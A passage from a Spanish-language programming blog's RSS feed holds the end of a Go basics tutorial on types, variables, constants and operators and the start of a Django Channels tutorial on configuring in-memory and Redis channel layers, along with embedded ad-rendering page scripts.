style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; run &lt;span style=&#34;color:#ff6ac1&#34;&gt;--&lt;/span&gt;work src&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;main.&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;#&lt;/span&gt; WORK=&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;tmp&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;build983014220&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;tipos-primitivos-de-datos-en-go&#34;&gt;Tipos primitivos de datos en Go&lt;/h2&gt;&#xA;&lt;p&gt;Dado que estamos tratando con un lenguaje compilado, necesitamos decirle al compilador el tipo de dato que usaremos para cada variable o constante.&lt;/p&gt;&#xA;&lt;p&gt;Los valores primitivos de Go son los siguientes.&lt;/p&gt;&#xA;&lt;h3 id=&#34;entero&#34;&gt;Entero&lt;/h3&gt;&#xA;&lt;p&gt;Para valores enteros con o sin signo.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;int, se asigna de acuerdo al SO (32 o 64 bits)&lt;/li&gt;&#xA;&lt;li&gt;int8,&lt;/li&gt;&#xA;&lt;li&gt;int16&lt;/li&gt;&#xA;&lt;li&gt;int32&lt;/li&gt;&#xA;&lt;li&gt;int64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;entero-sin-signo&#34;&gt;Entero sin signo&lt;/h3&gt;&#xA;&lt;p&gt;Para valores sin signo, es decir, positivos.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uint, se asigna de acuerdo al SO (32 o 64 bits)&lt;/li&gt;&#xA;&lt;li&gt;uint8&lt;/li&gt;&#xA;&lt;li&gt;uint16&lt;/li&gt;&#xA;&lt;li&gt;uint32&lt;/li&gt;&#xA;&lt;li&gt;uint64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;decimal&#34;&gt;Decimal&lt;/h3&gt;&#xA;&lt;p&gt;Para números decimales&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;float32&lt;/li&gt;&#xA;&lt;li&gt;float64&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;textos&#34;&gt;Textos&lt;/h3&gt;&#xA;&lt;p&gt;Para textos existe únicamente &lt;em&gt;string&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;boolean&#34;&gt;Boolean&lt;/h3&gt;&#xA;&lt;p&gt;Para valores &lt;em&gt;true&lt;/em&gt; or &lt;em&gt;false&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;numeros-complejos&#34;&gt;Números complejos&lt;/h3&gt;&#xA;&lt;p&gt;Permite manejar números reales e imaginarios:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Complex64&lt;/li&gt;&#xA;&lt;li&gt;Complex128&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Por ejemplo: c:=100+2i&lt;/p&gt;&#xA;&lt;h2 id=&#34;variables-constantes-y-zero-values-en-el-lenguaje-go&#34;&gt;Variables, constantes y zero values en el lenguaje Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;variables&#34;&gt;Variables&lt;/h3&gt;&#xA;&lt;p&gt;Go permite definir variables especificando el tipo de dato y la keyword var. Es como si a una declaración de variable de Javascript le agregaras el tipo de dato.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; gravedad &lt;span style=&#34;color:#9aedfe&#34;&gt;int8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La asignación de variables puede realizarse en un solo paso de la siguiente manera:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; gravedad &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;También es posible dejar que el compilador intuya el tipo de dato con el operador walrus (marmota). Este tipo de asignación &lt;strong&gt;solo es posible dentro del scope de una función&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gravedad &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En go no puedes asignar una variable al valor nulo; &lt;em&gt;nil&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; gravedad = &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;// error&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;constantes&#34;&gt;Constantes&lt;/h3&gt;&#xA;&lt;p&gt;Con las constantes funciona de manera similar, pero se caracterizan porque no pueden modificarse. Se usa la keyword &lt;em&gt;const&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Es necesario asignar un valor a una constante al momento de declararla&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; gravedad &lt;span style=&#34;color:#9aedfe&#34;&gt;int8&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;123&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si no especificamos un tipo de constante el compilador intentará intuirlo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;const&lt;/span&gt; pi = &lt;span style=&#34;color:#ff9f43&#34;&gt;3.14159&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;zero-values&#34;&gt;Zero values&lt;/h3&gt;&#xA;&lt;p&gt;En go, &lt;strong&gt;si no asignamos un valor el compilador usará valores predeterminados&lt;/strong&gt; para cada tipo de dato.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;int: 0&lt;/li&gt;&#xA;&lt;li&gt;float: 0&lt;/li&gt;&#xA;&lt;li&gt;string: &amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;bool: false&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;valor-nulo&#34;&gt;Valor nulo&lt;/h2&gt;&#xA;&lt;p&gt;Go usa la palabra reservada &lt;em&gt;nil&lt;/em&gt; para referirse a un valor nulo.&lt;/p&gt;&#xA;&lt;h2 id=&#34;comentarios&#34;&gt;Comentarios&lt;/h2&gt;&#xA;&lt;p&gt;Los comentarios se marcan usando dos diagonales seguidas&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Este es un comentario en go&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Los comentarios multilinea se realizan con una diagonal seguida de asterisco&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;/*&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;Este es un comentario multilinea&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;*/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;operadores-en-go&#34;&gt;Operadores en go&lt;/h2&gt;&#xA;&lt;p&gt;Los operadores de go son similares al resto de los lenguajes.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;+, suma&lt;/li&gt;&#xA;&lt;li&gt;-, resta&lt;/li&gt;&#xA;&lt;li&gt;*, multiplicación&lt;/li&gt;&#xA;&lt;li&gt;/, división&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;, menor que&lt;/li&gt;&#xA;&lt;li&gt;&amp;lt;=, menor o igual que&lt;/li&gt;&#xA;&lt;li&gt;&amp;gt;, mayor que&lt;/li&gt;&#xA;&lt;li&gt;&amp;gt;=, mayor o igual que&lt;/li&gt;&#xA;&lt;li&gt;%, el módulo o residuo&lt;/li&gt;&#xA;&lt;li&gt;!=, inequivalencia&lt;/li&gt;&#xA;&lt;li&gt;==, igualdad&lt;/li&gt;&#xA;&lt;li&gt;!, negación&lt;/li&gt;&#xA;&lt;li&gt;&amp;amp;&amp;amp;, operador AND&lt;/li&gt;&#xA;&lt;li&gt;||, operador OR&lt;/li&gt;&#xA;&lt;li&gt;++, incremental&lt;/li&gt;&#xA;&lt;li&gt;--, decremental&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Con esto termino la parte más básica del lenguaje Go. Espero que tengas una visión más completa del lenguaje, tanto de las partes buenas como de las partes malas. Y si quieres aprender lo básico puedes leer las siguientes entradas, tengo tutoriales básicamente de todas las partes básicas de Go.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Go, también conocido como Golang, es un lenguaje de programación compilado desarrollado por Google con el propósito de ser simple, sencillo de aprender, suficientemente rápido y centrado fuertemente en la concurrencia.&lt;/p&gt;&#xA;&lt;p&gt;Go es &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/microsoft/typescript-go/discussions/411&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;usado en proyectos tan colosales como el compilador de Typescript&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1741885083/rust-meme-typescript_xa6ajl.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&#34; width=&#34;1435&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Typescript decidió utilizar Go para su compilador en lugar de Rust, lo que enfureció a algunos desarrolladores de Rust.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django channels: channel layers, grupos y usuarios</title>
      <link>https://coffeebytes.dev/es/django/django-channels-channel-layers-grupos-y-usuarios/</link>
      <pubDate>Tue, 16 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-channels-channel-layers-grupos-y-usuarios/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los channel layers te permiten interactuar y compartir información con diferentes consumers en django channels. Lo que permite a cada consumer comunicarse con el resto. Por ejemplo, cuando en un chat un usuario envía un mensaje, todos pueden leer el mensaje, cuando un usuario abandona una sala, todos pueden saber que la abandonó. Con esta capacidad es posible crear una aplicación distribuida en la que se comparta información entre los diferentes usuarios.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes que es Django channels, te recomiendo que le des una leída a mi entrada anterior, donde te explico las partes básicas de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/django-channels-consumers-scope-y-eventos/&#34;&gt;django channels: consumers, scope y eventos.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;configurar-un-channel-layer&#34;&gt;Configurar un channel layer&lt;/h2&gt;&#xA;&lt;p&gt;No basta con que una instancia puedan acceder a la información de todas las otras instancias.&lt;/p&gt;&#xA;&lt;p&gt;¿Qué pasa si queremos que solo algunas instancias accedan a la información y otras no?&lt;/p&gt;&#xA;&lt;p&gt;Justo como sucede en un chat, no deseas que todos los chats existentes reciban tus mensajes, ni tampoco esperas recibir los mensajes de todos los chats, solo aquellos en los que participas.&lt;/p&gt;&#xA;&lt;p&gt;Para manejar esta información en común necesitamos un channel layer (una característica opcional de django channels), y grupos de channels o consumers. De esta manera nos encargaremos de que cada instancia de un channel, o sea un consumer, pueda comunicarse con otros channels, pero no con todos, solo con los del grupo que especifiquemos.&lt;/p&gt;&#xA;&lt;h3 id=&#34;channel-layers-en-desarrollo&#34;&gt;Channel layers en desarrollo&lt;/h3&gt;&#xA;&lt;p&gt;Para usar un channel layer en desarrollo necesitamos añadir una configuración extra a nuestro archivo de configuración y modificar nuestro objeto consumer. Está configuración de abajo le dice a Django que maneje el channel layer en memoria y es perfecto para hacer pruebas en desarrollo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CHANNEL_LAYERS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;BACKEND&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;channels.layers.InMemoryChannelLayer&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;channel-layers-en-produccion&#34;&gt;Channel layers en producción&lt;/h3&gt;&#xA;&lt;p&gt;La configuración anterior no es para producción. Para producción necesitamos instalar redis y el paquete &lt;em&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/project/channels-redis/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;channels-redis&lt;/a&gt;&#xA;&lt;/em&gt;. Te hablé un poco de redis cuando expliqué como crear un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/como-crear-un-historial-de-productos-visitados-con-django-y-redis/&#34;&gt;historial de productos visitados con django y redis&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install channel&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;redis&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si se instaló bien tendremos a redis corriendo en el puerto 6379.&lt;/p&gt;&#xA;&lt;p&gt;Ahora accederemos directamente a la aplicación de redis por medio de su puerto predeterminado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CHANNEL_LAYERS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;default&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;BACKEND&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;channels_redis.core.RedisChannelLayer&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;CONFIG&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hosts&amp;#34;&lt;/span&gt;: [(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;6379&lt;/span&gt;)],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div 